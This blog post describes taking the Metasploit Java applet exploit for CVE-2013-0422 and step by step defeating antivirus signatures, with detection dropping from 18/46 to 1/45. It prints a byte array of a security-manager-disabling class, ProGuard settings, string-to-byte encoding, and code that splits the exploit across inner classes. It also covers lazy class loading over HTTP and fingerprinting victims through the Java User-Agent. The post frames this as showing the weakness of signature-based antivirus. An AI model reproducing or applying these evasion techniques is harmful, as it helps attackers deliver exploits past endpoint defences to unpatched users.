Just like Security Obscurity did, I wanted to make an experiment with how difficult it would be to make a known java 0-day bypass antivirus protection.

_This is not an in-depth look at AV by a malware specialist - I have no experience with packers and malware obfuscators. For sure, there are heavy tools for obfuscating java code which I’m sure could make AV bypass a breeze. _

To start off,I used the payload in metasploit (java_jre17_jmxbean), decompiled the class files and configured an Eclipse-project which could generate the applet.

I also started a Windows VM with unpatched java, to check that my exploit still worked, and started doing some modifications.

First off, having only removed the metasploit-specific payload, and instead using only calc.exe to show pwnage, Virustotal detection ratio: 18 / 46

Instead of renaming variables, I reached for Proguard , using the configuration below in my build-file. (yes, I still use ant)

<target name="obfuscate" depends="dist">
		  -libraryjars rt.jar
		  -injars      dist/exploit.jar
		  -outjars     dist/pro_exploit.jar
		  -keep public class * extends java.applet.Applet{
		      public static void main(java.lang.String[]);

Virustotal detection ratio: 14 / 46

Some progress. There are a few more easy things to do, first of all this chunk:

public byte[] hex2Byte(String paramString)

    byte[] arrayOfByte = new byte[paramString.length() / 2];
    for (int i = 0; i < arrayOfByte.length; i++)
      arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16);
    return arrayOfByte;
public static String ByteArrayWithSecOff ="CAFEBABE0000003200270A000500180A001900"+

This is a piece of which disables the security manager. It is a compiled version which, decompiled, looks something like this:

import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class B implements PrivilegedExceptionAction {
	public B() {
		try {
		} catch (Exception localException) {
	public Object run() {
		return new Object();

It is used very late in the game, and is loaded using a classloader which the previous parts of the exploit have managed to conjure. This means that the .class-file does not actually have to be present, as long as the resource can be loaded somehow. The original exploit contained the file as a hex string.

Let’s replace the hex string! I wrote a little helper to take the B.class and output into a java byte array instead:

byte[] pld= new byte[]{-54,-2,-70,-66,0,0,0,50,0,31,10,0,5,0,16,10,0,17,0,18,7,0,19,10,0,20,0,21,7,0,22,7,0,23,7,0,24,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,23,7,0,19,1,0,3,114,117,110,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,12,0,8,0,9,7,0,25,12,0,26,0,27,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,28,12,0,29,0,30,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,1,66,1,0,39,106,97,118,97,47,115,101,99,117,114,105,116,121,47,80,114,105,118,105,108,101,103,101,100,69,120,99,101,112,116,105,111,110,65,99,116,105,111,110,1,0,30,106,97,118,97,47,115,101,99,117,114,105,116,121,47,65,99,99,101,115,115,67,111,110,116,114,111,108,108,101,114,1,0,12,100,111,80,114,105,118,105,108,101,103,101,100,1,0,61,40,76,106,97,118,97,47,115,101,99,117,114,105,116,121,47,80,114,105,118,105,108,101,103,101,100,69,120,99,101,112,116,105,111,110,65,99,116,105,111,110,59,41,76,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,18,115,101,116,83,101,99,117,114,105,116,121,77,97,110,97,103,101,114,1,0,30,40,76,106,97,118,97,47,108,97,110,103,47,83,101,99,117,114,105,116,121,77,97,110,97,103,101,114,59,41,86,0,33,0,6,0,5,0,1,0,7,0,0,0,2,0,1,0,8,0,9,0,1,0,10,0,0,0,56,0,1,0,2,0,0,0,14,42,-73,0,1,42,-72,0,2,87,-89,0,4,76,-79,0,1,0,4,0,9,0,12,0,3,0,1,0,11,0,0,0,16,0,2,-1,0,12,0,1,7,0,12,0,1,7,0,13,0,0,1,0,14,0,15,0,1,0,10,0,0,0,24,0,2,0,1,0,0,0,12,1,-72,0,4,-69,0,5,89,-73,0,1,-80,0,0,0,0,0,0,};

Virustotal results : 12 / 46

Still only down 2/3 from our original! Nice work, AV. Let’s get serious!

2. Replace all strings

Next, I just replace all strings (6), using a helper tool to generate byte arrays instead:

byte[] intcontext = new byte[]{115,117,110,46,111,114,103,46,109,111,122,105,108,108,97,46,106,97,118,97,115,99,114,105,112,116,46,105,110,116,101,114,110,97,108,46,67,111,110,116,101,120,116,};
byte[] genclassloader = new byte[]{115,117,110,46,111,114,103,46,109,111,122,105,108,108,97,46,106,97,118,97,115,99,114,105,112,116,46,105,110,116,101,114,110,97,108,46,71,101,110,101,114,97,116,101,100,67,108,97,115,115,76,111,97,100,101,114,};
byte[] findConstructor = new byte[]{102,105,110,100,67,111,110,115,116,114,117,99,116,111,114,};
byte[] findVirtual = new byte[]{102,105,110,100,86,105,114,116,117,97,108,};
byte[] createClassLoader = new byte[]{99,114,101,97,116,101,67,108,97,115,115,76,111,97,100,101,114,};
byte[] defineClass = new byte[]{100,101,102,105,110,101,67,108,97,115,115,};

Results: 11 / 46, hardly progress at all.

3. Insert junk

A shot from the hip - will it make any difference if I insert some junk statements into the codebase?

Call me Ishmael

Results : 10 / 46. Apparently, it works.

4. Structural changes pt 1.

Now, let’s make some structural changes,pro_exploit6.jar, inlining some calls and duplicating others to remove local variables.

[Results] (https://www.virustotal.com/en/file/9dd473c304bddd6625075822d05f4ba8f02fcac2627348b61de541f695dd2fdf/analysis/1362698236/): 8 / 46

Right, finally more than half of them bypassed. The remaining contenders are :

Vendor Signature
AntiVir EXP/CVE-2013-0422
Avast Java:CVE-2013-0422-BL [Expl]
DrWeb Exploit.CVE2013-0422.7
GData Java:CVE-2013-0422-BL
Kaspersky HEUR:Exploit.Java.CVE-2013-0422.gen
Microsoft Exploit:Java/CVE-2013-0422.B
TrendMicro EXPL_CVE20130422

Interesting thing to note at this stage - what if we remove proguard obfuscation but retain other fixes : 9/46.

Fortinet does not like proguard, but finds the vulnerability without obfuscation on:

  • Fortinet Java/MBean.gen!exploit.CVE20130422

4. Structural changes pt 2

Since we don’t have access to a classloader, we cannot use reflection as in Security Obscurity did, thus some calls that we make (e.g. MethodHandles) will be visible in the class file. What we can do, however, is spread it out across several classes and obscure the types in the ‘main’ class.

Instead of doing this call:

MethodHandle localMethodHandle1 = MethodHandles.publicLookup()
			new String(findConstructor, "ASCII"),
				new Class[] { MethodType.class }));

We can define a new abstract class:

private class foo {
	Object doFoo(Object o) throws Throwable
		return null;
	Object doFooBar(Object a,Object b) throws Throwable
		return null;

And then make an inline class which subclasses the foo class:

Object localMethodHandle1 = (new foo() {
	Object doFoo(Object o) throws Throwable {
		return MethodHandles.publicLookup().findVirtual(
			new String((byte[]) o, "ASCII"),
					new Class[] { MethodType.class }));

This should make the program flow a lot more difficult to analyse, since each .class-file should only contain small parts of the exploit, therefore hopfully slipping under the radar of AV fingerprinting. Classes defined inline wind up in separate class files :


After externalizing all actual malicious stuff, the main applet class is a very benign creature which only performs these kinds of operations:

Object x = new foo.1().doFoo(y);
Object y = new foo.2().doFoo(x);
Object z = new foo.2().doFoo(y);

After this is performed for all calls, we’re down to down to 2/45! Results.

Vendor Signature

Interesting to note, without proguard-obfuscation, we get different Results : 6 / 45 .

Vendor Signature
Avast Java:Agent-CON [Trj]
GData Java:Agent-CON
Kaspersky HEUR:Exploit.Java.CVE-2013-0422.gen
Microsoft Exploit:Java/CVE-2013-0422.C
TrendMicro-HouseCall TROJ_GEN.F47V0307
VIPRE Trojan.Java.Generic (v)

Some vendors obviously get fooled by Proguard, others (DrWeb) benefit from it. Proguard is a double-edged sword; it simplifies application flow, thus in a sense canonicalizing it, which may conflict with the obfuscation of program flow that we are doing.

Vendor Proguard-version No proguard
Avast - Java:Agent-CON
Gdata - Java:Agent-CON
Kaspersky HEUR:Exploit.Java.CVE-2013-0422.gen HEUR:Exploit.Java.CVE-2013-0422.gen
DrWeb Exploit.CVE2013-0422.7 -
Microsoft - Exploit:Java/CVE-2013-0422.C
TrendMicro-HouseCall - TROJ_GEN.F47V0307
VIPRE - Trojan.Java.Generic (v)


At this point I noticed an oversight; the B.class, containing a payload which I had already moved over to a byte-array back in step 1, was needlessly included in the .jar-file. DOH! Removing that obvious giveaway

Proguard-version Results 2/45:

Vendor Signature

Well, we already know that DrWeb will drop off if we don’t use proguard… Non-proguard-version [Results] (https://www.virustotal.com/en/file/ad2e17976676963469b0091afd1d11e73ca1fcf1d2029d59b5e8b5560a8cfdb8/analysis/1363354324/): 1/45 :

Vendor Signature

So, the winner of this little game is…


Oh, does it still pop? Pop

The final push

Of course, I can’t leave it like that. Need to go deeper. So, the first thing to do is to check exactly which class it is that Kaspersky triggers on. Above, I wound up with one main class – the Applet, one private class and 16 inline classes:


To check which one triggers detection, I uploaded them all to VT and got…


Not a single AV trigger

So, no single class file triggered AV reactions - but Kaspersky still triggers on a jar-file containing them all. Obviously, Kaspersky is doing something right.

However, after having gone through the trouble of spreading out the individual parts of the malicious program into separate classes, which by themselves are not enough to trigger any AV suspicions, there is one more trick that can be used. It has to do with the behaviour of the Applet class loader.

From Securing Java:

If the class is not found by the Primordial Class Loader, the Applet Class Loader typically loads it via HTTP using methods of the URL class. Code is fetched from the CODEBASE specified in the <APPLET> tag.

What this means for an attacker is that I only need to include the main Applet class. All remaining classes can be deferred for later, and served directly from the web server as needed. That is, when the runtime notices that a class is missing. Indeed - there’s no need for a jar-file at all, I can just specify the applet class directly.

Another interesting aspect that is that when the actual jar-file (and, later, the classe) are loaded, it is not the browser that does the fetching: it is the Java VM, using the URL class as specified above. This means that an attacker does not have to use any magic to determine the java version; the UA-string used by Java will let us know.

Java UA:

User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_05

Browser UA:

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Anyway, in essence what we’ve ended up with is features pretty close to something out of a dynamic language:

  • No type information, or at least only local type information (since everything is ‘dumbed down’ to Object)
  • Late binding via Applet HTTP classloading

Unfortunately, I don’t actually have Kaspersky to test with, so I can’t be 100% sure that it works. However, given that no individual .class -file is flagged as malicious, I don’t see how an AV could possibly stop this kind of attack, since it would require the AV to keep historic record in a way that I don’t believe it does.

As I said in the beginning, this is nothing new - anyone in the security industry already knows that signature-based AV is a very blunt tool which provides a very limited degree of protection.

A non-signature-based AV, such as FireEye, would definitely catch this, since FireEye is basically a VM which executes the code in the same way the target would.